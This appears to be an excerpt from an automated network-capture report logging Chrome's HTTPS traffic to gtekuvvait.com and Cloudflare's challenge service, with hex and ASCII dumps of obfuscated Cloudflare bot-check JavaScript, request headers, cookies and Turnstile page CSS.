2024-10-01 13:08:12 UTC	717	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 3d 7b 63 46 50 57 76 3a 27 67 27 7d 3b 7e 66 75 6e 63 74 69 6f 6e 28 56 2c 67 2c 68 2c 69 2c 6a 2c 6e 2c 6f 2c 41 29 7b 56 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 64 2c 65 2c 55 2c 66 2c 43 29 7b 66 6f 72 28 55 3d 62 2c 66 3d 64 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 43 3d 70 61 72 73 65 49 6e 74 28 55 28 35 36 37 29 29 2f 31 2b 70 61 72 73 65 49 6e 74 28 55 28 35 31 30 29 29 2f 32 2b 70 61 72 73 65 49 6e 74 28 55 28 35 31 31 29 29 2f 33 2b 70 61 72 73 65 49 6e 74 28 55 28 34 39 33 29 29 2f 34 2b 2d 70 61 72 73 65 49 6e 74 28 55 28 35 37 33 29 29 2f 35 2a 28 70 61 72 73 65 49 6e 74 28 55 28 35 35 32 29 29 2f 36 29 2b 2d 70 61 72 73 65 49 6e 74 28 55 28 35 32 39 29 29 2f 37 2a 28 70 61 72 73 65 49 Data Ascii: window._cf_chl_opt={cFPWv:'g'};~function(V,g,h,i,j,n,o,A){V=b,function(d,e,U,f,C){for(U=b,f=d();!![];)try{if(C=parseInt(U(567))/1+parseInt(U(510))/2+parseInt(U(511))/3+parseInt(U(493))/4+-parseInt(U(573))/5(parseInt(U(552))/6)+-parseInt(U(529))/7(parseI
2024-10-01 13:08:12 UTC	1369	IN	Data Raw: 61 30 28 35 38 36 29 29 5d 28 48 29 29 3a 66 75 6e 63 74 69 6f 6e 28 4e 2c 61 31 2c 4f 29 7b 66 6f 72 28 61 31 3d 61 30 2c 4e 5b 61 31 28 35 37 36 29 5d 28 29 2c 4f 3d 30 3b 4f 3c 4e 5b 61 31 28 34 39 34 29 5d 3b 4e 5b 4f 5d 3d 3d 3d 4e 5b 4f 2b 31 5d 3f 4e 5b 61 31 28 35 39 35 29 5d 28 4f 2b 31 2c 31 29 3a 4f 2b 3d 31 29 3b 72 65 74 75 72 6e 20 4e 7d 28 48 29 2c 49 3d 27 6e 41 73 41 61 41 62 27 2e 73 70 6c 69 74 28 27 41 27 29 2c 49 3d 49 5b 61 30 28 35 30 36 29 5d 5b 61 30 28 35 31 33 29 5d 28 49 29 2c 4a 3d 30 3b 4a 3c 48 5b 61 30 28 34 39 34 29 5d 3b 4b 3d 48 5b 4a 5d 2c 4c 3d 6c 28 43 2c 44 2c 4b 29 2c 49 28 4c 29 3f 28 4d 3d 27 73 27 3d 3d 3d 4c 26 26 21 43 5b 61 30 28 35 33 32 29 5d 28 44 5b 4b 5d 29 2c 61 30 28 35 36 30 29 3d 3d 3d 45 2b 4b 3f 47 Data Ascii: a0(586))](H)):function(N,a1,O){for(a1=a0,N[a1(576)](),O=0;O<N[a1(494)];N[O]===N[O+1]?N[a1(595)](O+1,1):O+=1);return N}(H),I='nAsAaAb'.split('A'),I=I[a0(506)][a0(513)](I),J=0;J<H[a0(494)];K=H[J],L=l(C,D,K),I(L)?(M='s'===L&&!C[a0(532)](D[K]),a0(560)===E+K?G
2024-10-01 13:08:12 UTC	1369	IN	Data Raw: 54 3d 31 2c 47 3d 30 3b 47 3c 4d 3b 4f 3d 54 7c 4f 3c 3c 31 2e 39 36 2c 45 2d 31 3d 3d 50 3f 28 50 3d 30 2c 4e 5b 61 61 28 35 30 38 29 5d 28 46 28 4f 29 29 2c 4f 3d 30 29 3a 50 2b 2b 2c 54 3d 30 2c 47 2b 2b 29 3b 66 6f 72 28 54 3d 4a 5b 61 61 28 35 33 31 29 5d 28 30 29 2c 47 3d 30 3b 31 36 3e 47 3b 4f 3d 54 26 31 2e 37 34 7c 4f 3c 3c 31 2e 38 2c 45 2d 31 3d 3d 50 3f 28 50 3d 30 2c 4e 5b 61 61 28 35 30 38 29 5d 28 46 28 4f 29 29 2c 4f 3d 30 29 3a 50 2b 2b 2c 54 3e 3e 3d 31 2c 47 2b 2b 29 3b 7d 4b 2d 2d 2c 30 3d 3d 4b 26 26 28 4b 3d 4d 61 74 68 5b 61 61 28 35 34 36 29 5d 28 32 2c 4d 29 2c 4d 2b 2b 29 2c 64 65 6c 65 74 65 20 49 5b 4a 5d 7d 65 6c 73 65 20 66 6f 72 28 54 3d 48 5b 4a 5d 2c 47 3d 30 3b 47 3c 4d 3b 4f 3d 54 26 31 2e 36 38 7c 4f 3c 3c 31 2c 45 2d Data Ascii: T=1,G=0;G<M;O=T\|O<<1.96,E-1==P?(P=0,N[aa(508)](F(O)),O=0):P++,T=0,G++);for(T=J[aa(531)](0),G=0;16>G;O=T&1.74\|O<<1.8,E-1==P?(P=0,N[aa(508)](F(O)),O=0):P++,T>>=1,G++);}K--,0==K&&(K=Math[aa(546)](2,M),M++),delete I[J]}else for(T=H[J],G=0;G<M;O=T&1.68\|O<<1,E-
2024-10-01 13:08:12 UTC	1369	IN	Data Raw: 26 28 4f 3d 45 2c 4e 3d 46 28 50 2b 2b 29 29 2c 51 7c 3d 28 30 3c 53 3f 31 3a 30 29 2a 4d 2c 4d 3c 3c 3d 31 29 3b 73 77 69 74 63 68 28 51 29 7b 63 61 73 65 20 30 3a 66 6f 72 28 51 3d 30 2c 52 3d 4d 61 74 68 5b 61 64 28 35 34 36 29 5d 28 32 2c 38 29 2c 4d 3d 31 3b 52 21 3d 4d 3b 53 3d 4f 26 4e 2c 4f 3e 3e 3d 31 2c 4f 3d 3d 30 26 26 28 4f 3d 45 2c 4e 3d 46 28 50 2b 2b 29 29 2c 51 7c 3d 28 30 3c 53 3f 31 3a 30 29 2a 4d 2c 4d 3c 3c 3d 31 29 3b 54 3d 65 28 51 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 31 3a 66 6f 72 28 51 3d 30 2c 52 3d 4d 61 74 68 5b 61 64 28 35 34 36 29 5d 28 32 2c 31 36 29 2c 4d 3d 31 3b 4d 21 3d 52 3b 53 3d 4f 26 4e 2c 4f 3e 3e 3d 31 2c 30 3d 3d 4f 26 26 28 4f 3d 45 2c 4e 3d 46 28 50 2b 2b 29 29 2c 51 7c 3d 28 30 3c 53 3f 31 3a 30 29 2a 4d 2c Data Ascii: &(O=E,N=F(P++)),Q\|=(0<S?1:0)M,M<<=1);switch(Q){case 0:for(Q=0,R=Math[ad(546)](2,8),M=1;R!=M;S=O&N,O>>=1,O==0&&(O=E,N=F(P++)),Q\|=(0<S?1:0)M,M<<=1);T=e(Q);break;case 1:for(Q=0,R=Math[ad(546)](2,16),M=1;M!=R;S=O&N,O>>=1,0==O&&(O=E,N=F(P++)),Q\|=(0<S?1:0)*M,
2024-10-01 13:08:12 UTC	1369	IN	Data Raw: 7b 7d 2c 4c 5b 61 37 28 35 32 32 29 5d 3d 45 2c 4c 5b 61 37 28 35 32 30 29 5d 3d 4b 2c 4c 5b 61 37 28 35 38 33 29 5d 3d 61 37 28 35 39 37 29 2c 4d 3d 41 5b 61 37 28 35 33 38 29 5d 28 4a 53 4f 4e 5b 61 37 28 35 35 33 29 5d 28 4c 29 29 5b 61 37 28 35 30 39 29 5d 28 27 2b 27 2c 61 37 28 35 37 39 29 29 2c 48 5b 61 37 28 35 39 39 29 5d 28 27 76 5f 27 2b 46 2e 72 2b 27 3d 27 2b 4d 29 7d 63 61 74 63 68 28 4e 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 73 28 61 33 2c 43 2c 44 2c 45 2c 46 2c 47 29 7b 61 33 3d 56 3b 74 72 79 7b 72 65 74 75 72 6e 20 43 3d 68 5b 61 33 28 35 37 38 29 5d 28 61 33 28 35 30 32 29 29 2c 43 5b 61 33 28 35 33 36 29 5d 3d 61 33 28 35 35 37 29 2c 43 5b 61 33 28 35 38 32 29 5d 3d 27 2d 31 27 2c 68 5b 61 33 28 35 35 31 29 5d 5b 61 33 28 34 39 39 29 Data Ascii: {},L[a7(522)]=E,L[a7(520)]=K,L[a7(583)]=a7(597),M=A[a7(538)](JSON[a7(553)](L))[a7(509)]('+',a7(579)),H[a7(599)]('v_'+F.r+'='+M)}catch(N){}}function s(a3,C,D,E,F,G){a3=V;try{return C=h[a3(578)](a3(502)),C[a3(536)]=a3(557),C[a3(582)]='-1',h[a3(551)][a3(499)
2024-10-01 13:08:12 UTC	1369	IN	Data Raw: 6a 65 63 74 3a 20 2c 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 2c 2f 62 65 61 63 6f 6e 2f 6f 76 2c 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 2c 20 2d 20 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 64 2e 63 6f 6f 6b 69 65 2c 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 2c 32 30 77 6b 77 59 49 6b 2c 75 6e 64 65 66 69 6e 65 64 2c 69 73 41 72 72 61 79 2c 5b 6e 61 74 69 76 65 20 63 6f 64 65 5d 2c 2f 69 6e 76 69 73 69 62 6c 65 2f 6a 73 64 2c 31 30 32 34 34 33 30 66 44 42 41 46 46 2c 4d 65 73 73 61 67 65 3a 20 2c 56 67 75 79 36 2c 43 63 42 52 69 53 73 47 4d 76 74 41 46 61 7a 58 77 6b 6e 6d 65 24 31 6a 75 33 57 49 50 54 64 62 6f 68 32 79 72 37 48 70 67 4f 66 56 59 2d 5a 78 6c 36 4c 44 71 2b 34 39 4b 38 51 30 4a 4e 45 55 35 2c 41 72 72 61 79 2c 5f 63 66 5f 63 Data Ascii: ject: ,DOMContentLoaded,/beacon/ov,display: none, - ,Content-Type,d.cookie,application/json,20wkwYIk,undefined,isArray,[native code],/invisible/jsd,1024430fDBAFF,Message: ,Vguy6,CcBRiSsGMvtAFazXwknme$1ju3WIPTdboh2yr7HpgOfVY-Zxl6LDq+49K8Q0JNEU5,Array,_cf_c
2024-10-01 13:08:12 UTC	475	IN	Data Raw: 29 3f 27 61 27 3a 43 5b 44 5d 3d 3d 3d 65 5b 58 28 35 37 31 29 5d 3f 27 43 27 3a 21 30 3d 3d 3d 43 5b 44 5d 3f 27 54 27 3a 21 31 3d 3d 3d 43 5b 44 5d 3f 27 46 27 3a 28 45 3d 74 79 70 65 6f 66 20 43 5b 44 5d 2c 58 28 35 30 35 29 3d 3d 45 3f 6b 28 65 2c 43 5b 44 5d 29 3f 27 4e 27 3a 27 66 27 3a 6a 5b 45 5d 7c 7c 27 3f 27 29 7d 66 75 6e 63 74 69 6f 6e 20 76 28 64 2c 61 34 29 7b 72 65 74 75 72 6e 20 61 34 3d 56 2c 4d 61 74 68 5b 61 34 28 35 39 34 29 5d 28 29 3c 64 7d 66 75 6e 63 74 69 6f 6e 20 42 28 61 65 2c 64 2c 65 2c 66 2c 43 29 7b 69 66 28 61 65 3d 56 2c 64 3d 67 5b 61 65 28 35 30 34 29 5d 2c 21 64 29 72 65 74 75 72 6e 3b 69 66 28 21 78 28 29 29 72 65 74 75 72 6e 3b 28 65 3d 21 5b 5d 2c 66 3d 66 75 6e 63 74 69 6f 6e 28 61 66 2c 44 29 7b 28 61 66 3d 61 65 Data Ascii: )?'a':C[D]===e[X(571)]?'C':!0===C[D]?'T':!1===C[D]?'F':(E=typeof C[D],X(505)==E?k(e,C[D])?'N':'f':j[E]\|\|'?')}function v(d,a4){return a4=V,Math[a4(594)]()<d}function B(ae,d,e,f,C){if(ae=V,d=g[ae(504)],!d)return;if(!x())return;(e=![],f=function(af,D){(af=ae

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.16	49740	104.21.11.126	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:11 UTC	1012	OUT	POST /cdn-cgi/challenge-platform/h/g/jsd/r/8cbcadf6bd494332 HTTP/1.1 Host: gtekuvvait.com Connection: keep-alive Content-Length: 15834 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Origin: https://gtekuvvait.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: u0ulzMiw7eIIeLPswMTRibK2Ko4=IKtZPGoWNDPqHuPKPPtyQcFYQ9w; IFyd6Hou-G4AE3RKegZJidt10xE=1727788048; x_RYHB2sEEo2Bu1sV3mrPAYcYC4=1727874448; W0ibOYt_xPqGBP0bTi3N6twa_hY=ddymbcxaLrUCOSBPo7bF-I4R0Nk; kXCmMa_0GiSRnNULyrGxWbTQpY0=cRrl2AzWkJYyEFavDJ0CEiHqe8Y; gSaS8avy_wI_yiRmm2mEqhqzNfw=1727788086; Uk7aT3LVFyyC59E7GXZA4bh_PBs=1727874486; Ry9hFaaXTCPp9EgROrpabb_CLbY=whime-c7aQhFzx51Gvq2Tf62gkQ
2024-10-01 13:08:11 UTC	15834	OUT	Data Raw: 7b 22 77 70 22 3a 22 56 76 42 55 67 6d 6a 66 67 71 42 67 63 77 34 6a 48 6a 4a 57 37 55 6d 61 57 78 6b 57 4f 4c 4f 32 32 6d 66 6a 45 33 57 35 64 61 7a 64 24 42 57 6e 35 4b 49 34 64 71 6a 6f 57 63 48 42 31 59 76 76 57 78 53 32 57 74 57 32 61 32 42 6a 57 70 32 6a 73 34 58 55 53 71 76 44 51 65 55 35 64 47 76 6b 78 5a 6f 4a 77 31 62 55 73 47 67 6c 6b 75 6a 5a 33 35 53 4f 57 67 42 42 43 4f 6e 6d 44 59 57 30 31 59 24 4e 44 57 4e 55 77 6e 57 6d 6c 42 57 4f 55 6d 6d 55 47 63 55 4f 57 6a 64 57 37 71 52 57 6a 75 44 57 36 2d 66 78 31 76 4b 6a 78 53 59 42 57 6d 2d 44 57 6d 34 49 37 57 49 6d 57 6a 44 70 24 41 42 65 6f 6b 61 6d 31 6d 6a 4e 73 6b 76 33 67 47 68 4d 4e 35 57 4c 55 6d 4f 72 2b 76 57 66 52 76 64 77 24 35 39 70 31 57 49 4d 4e 53 47 4c 78 55 57 41 53 4c 24 4f Data Ascii: {"wp":"VvBUgmjfgqBgcw4jHjJW7UmaWxkWOLO22mfjE3W5dazd$BWn5KI4dqjoWcHB1YvvWxS2WtW2a2BjWp2js4XUSqvDQeU5dGvkxZoJw1bUsGglkujZ35SOWgBBCOnmDYW01Y$NDWNUwnWmlBWOUmmUGcUOWjdW7qRWjuDW6-fx1vKjxSYBWm-DWm4I7WImWjDp$ABeokam1mjNskv3gGhMN5WLUmOr+vWfRvdw$59p1WIMNSGLxUWASL$O
2024-10-01 13:08:12 UTC	1236	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 13:08:12 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: cf_clearance=; Path=/; Expires=Thu, 01-Jan-70 00:00:00 GMT; Domain=.gtekuvvait.com; HttpOnly; Secure; SameSite=None Set-Cookie: cf_clearance=h7tWXbhCRfnXbpz8GEt2B2qy5f.Ck1el8SpcwIwGaW0-1727788092-1.2.1.1-pAuzedtMNKEaiyALAK2Lq_CWg2cfZCCbyIYtd7klccux5JiB6KQWqVKueU.fb0W94jUKaFWcKUJ9HS_UyXM7AYgs0zMGxjqxwD.csAT8YH5lQsGL3qqXtCL_iREdUbAP.6eg6BqKfAvs0P2k7xUkAYGf4vQDMEf.gqgDw6gttvCdL7V7gAoYf.ffVfcBrl6s.iYJmTOxlyRpQW9Q48OCT0F.DPXBOyrMgyMS3ql4CodIht77UsSTcmwtPLQri2LQOg5v9NO_3pKZMEavix3FXKfrMwnFguoRd1ZsWMBQFAzJOLlY0zjZpdzT9IzJ47wjsAxBbjYWOPkaefPRf.wiy9lA2lhAXPf90lKk6YipggZyySiGG38W193POOCIAJgW; Path=/; Expires=Wed, 01-Oct-25 13:08:12 GMT; Domain=.gtekuvvait.com; HttpOnly; Secure; SameSite=None; Partitioned Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GJJupl%2BtzDP6glFCqrqVmePacMRNTk7ERhUwXNtgq%2Bfox%2FtvhaSIfOt%2BHnBr1qiAvzGlN7fYp3xAe25eux3%2FmEAbUJTkNDMQ0btUGQ%2BnORzs1ufHlrmdj4XtwqJh8HLBbw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cbcae180e2f41fb-EWR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.16	49742	104.18.95.41	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:12 UTC	798	OUT	GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/q67wf/0x4AAAAAAAjFTHkBsyQ923ny/light/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://gtekuvvait.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:08:12 UTC	1369	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 13:08:12 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 164877 Connection: close origin-agent-cluster: ?1 cross-origin-opener-policy: same-origin content-security-policy: frame-src https://challenges.cloudflare.com/ blob:; base-uri 'self' referrer-policy: same-origin document-policy: js-profiling cross-origin-resource-policy: cross-origin accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA cross-origin-embedder-policy: require-corp
2024-10-01 13:08:12 UTC	52	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 63 62 63 61 65 31 38 33 65 32 33 34 32 62 64 2d 45 57 52 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 8cbcae183e2342bd-EWR
2024-10-01 13:08:12 UTC	1317	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2024-10-01 13:08:12 UTC	1369	IN	Data Raw: 25 3b 6d 61 72 67 69 6e 3a 30 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 70 61 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 Data Ascii: %;margin:0;overflow:hidden;padding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-web
2024-10-01 13:08:12 UTC	1369	IN	Data Raw: 67 68 74 3a 33 30 70 78 3b 77 69 64 74 68 3a 33 30 70 78 7d 23 73 75 63 63 65 73 73 2d 70 72 65 2d 69 20 6c 69 6e 65 7b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 Data Ascii: ght:30px;width:30px}#success-pre-i line{stroke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;st
2024-10-01 13:08:12 UTC	1369	IN	Data Raw: 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e Data Ascii: allenge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dark #challen
2024-10-01 13:08:12 UTC	1369	IN	Data Raw: 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 Data Ascii: dark .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-helper-loop
2024-10-01 13:08:12 UTC	1369	IN	Data Raw: 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 61 63 74 69 76 65 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 66 6f 63 75 73 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 31 36 36 33 37 39 7d 23 6c 6f 67 6f 7b 68 65 69 67 68 74 3a 32 35 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 70 78 7d 2e 66 61 69 6c 75 72 65 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 Data Ascii: ,#challenge-overlay a:link,#challenge-overlay a:visited{color:#232323}#challenge-overlay a:active,#challenge-overlay a:focus,#challenge-overlay a:hover{color:#166379}#logo{height:25px;margin-bottom:1px}.failure-circle{stroke-dasharray:166;stroke-dashoffse
